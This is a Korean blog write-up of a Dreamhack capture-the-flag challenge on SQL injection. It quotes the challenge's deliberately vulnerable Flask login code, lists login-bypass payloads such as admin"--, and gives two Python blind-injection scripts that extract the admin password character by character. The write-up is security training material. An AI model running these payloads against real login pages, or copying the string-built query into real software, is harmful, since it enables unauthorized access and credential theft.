Simple-SQLi 문제의 목표 : 관리자 계정으로 로그인하면 출력되는 flag 획득하기.
사이트에 접속하면 간단한 로그인 기능만을 제공하고 있음을 확인할 수 있다.
Figure 1. 데이터베이스 구성 코드
DATABASE = "database.db" #데이터베이스 파일명 database.db로 설정
if os.path.exists(DATABASE) == False: #데이터베이스 파일이 존재하지 않는 경우,
db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
db.execute('create table users(userid char(100), userpassword char(100));')
#users 테이블 생성
#users 테이블에 관리자와 guset 게정 생성
db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"),
("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
db.commit() #쿼리 실행 확정
db.close() #DB 연결 종료
위의 코드로 생성된 데이터 베이스 구조
users
userid | userpassword |
guest | guest |
admin | 랜덤 16바이트 문자열을 Hex 형태로 표현 (32바이트) |
userid와 userpassword 컬럼은 각각 이용자의 ID와 PW를 저장한다.
admin 계정의 비밀번호는 랜덤하게 생성된 16바이트의 문자열이다.
@app.route('/login', methods=['GET', 'POST']) #Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리
def login():#login 함수 선언
if request.method == 'GET': #이용자가 GET 메소드의 요청 전달한 경우,
return render_template('login.html') #이용자에게 ID/PW 요청받는 화면 출력
else: #POST 요청 전달 시
userid = request.form.get('userid') #이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') #userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res: #쿼리 결과가 존재하는 경우
userid = res[0] #로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': #로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' #flag 출력
#관리자 계정이 아닌 경우 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 wrong
return '<script>alert("wrong");history.go(-1);</script>'
풀이 1 : 로그인을 우회하여 풀이 -> SQL Injection
풀이 2 : 비밀번호를 알아내고 올바른 경로로 로그인 -> Blind
userid와 userpassword를 이용자에게 입력받고 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의한다.
이렇게 동적으로 생성한 쿼리를 RawQuery라고 한다.
RawQuery 생성 시, 이용자의 입력값이 쿼리문에 포함되면 SQL Injection 취약점에 노출될 수 있다.
이용자의 입력값을 검사하는 과정이 없기 때문에 임의의 쿼리문을 userid 또는 userpassword 에 삽입해 SQL Injection 공격을 수행할 수 있다.
def query_db(query, one=True):
cur = get_db().execute(query) #연결된 데이터베이스에 쿼리문을 질의
rv = cur.fetchall() #쿼리문 내용을 받아오기
cur.close() #데이터베이스 연결 종료
return (rv[0] if rv else None) if one else rv
#쿼리문 질의 내용에 대한 결과를 반환
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
LIMIT : 지정된 순서에 위치한 레코드만 가져오고자 할 때 사용
로그인 페이지에 admin"--와 임의의 패스워드를 입력하면 플래그를 얻을 수 있다.
Blind SQL Injection
로그인 요청의 폼 구조 파악
쿼리를 자동화하려면, 로그인할 때 전송하는 POST 데이터의 구조를 파악해야 한다.
1. 개발자 도구의 네트워크 탭 열고, Preserve log 클릭
2. guest로 로그인
3. 메시지 목록에서 /login으로 전송된 POST 요청 찾기
4. Payload에서 Form Data 확인
비밀번호 길이 파악 스크립트
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> bool:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\")<{{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def solve(self):
pw_len = solver._find_password_length("admin")
print(f"Length of admin password is: {pw_len}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
비밀번호 알아내는 스크립트
#!/usr/bin/python3.9
import requests
import sys
from urllib.parse import urljoin
class Solver:
"""Solver for simple_SQLi challenge"""
# initialization
def __init__(self, port: str) -> None:
self._chall_url = f"http://host1.dreamhack.games:{port}"
self._login_url = urljoin(self._chall_url, "login")
# base HTTP methods
def _login(self, userid: str, userpassword: str) -> requests.Response:
login_data = {
"userid": userid,
"userpassword": userpassword
}
resp = requests.post(self._login_url, data=login_data)
return resp
# base sqli methods
def _sqli(self, query: str) -> requests.Response:
resp = self._login(f"\" or {query}-- ", "hi")
return resp
def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
while 1:
mid = (low+high) // 2
if low+1 >= high:
break
query = query_tmpl.format(val=mid)
if "hello" in self._sqli(query).text:
high = mid
else:
low = mid
return mid
# attack methods
def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\"{user}\") < {{val}})"
pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
return pw_len
def _find_password(self, user: str, pw_len: int) -> str:
pw = ''
for idx in range(1, pw_len+1):
query_tmpl = f"((SELECT SUBSTR(userpassword,{idx},1) WHERE userid=\"{user}\") < CHAR({{val}}))"
pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2f, 0x7e))
print(f"{idx}. {pw}")
return pw
def solve(self) -> None:
# Find the length of admin password
pw_len = solver._find_password_length("admin")
print(f"Length of the admin password is: {pw_len}")
# Find the admin password
print("Finding password:")
pw = solver._find_password("admin", pw_len)
print(f"Password of the admin is: {pw}")
if __name__ == "__main__":
port = sys.argv[1]
solver = Solver(port)
solver.solve()
획득한 비밀번호를 이용하여 admin으로 로그인하면, 플래그를 획득할 수 있다.
{redacted}
'Dreamhack' 카테고리의 다른 글
암호학 - 해시 (0) | 2022.08.12 |
---|---|
No SQL Injection 실습 (0) | 2022.08.11 |
SQL Injection(1) (0) | 2022.08.11 |
SQL (0) | 2022.08.11 |
CSRF 실습 (0) | 2022.08.05 |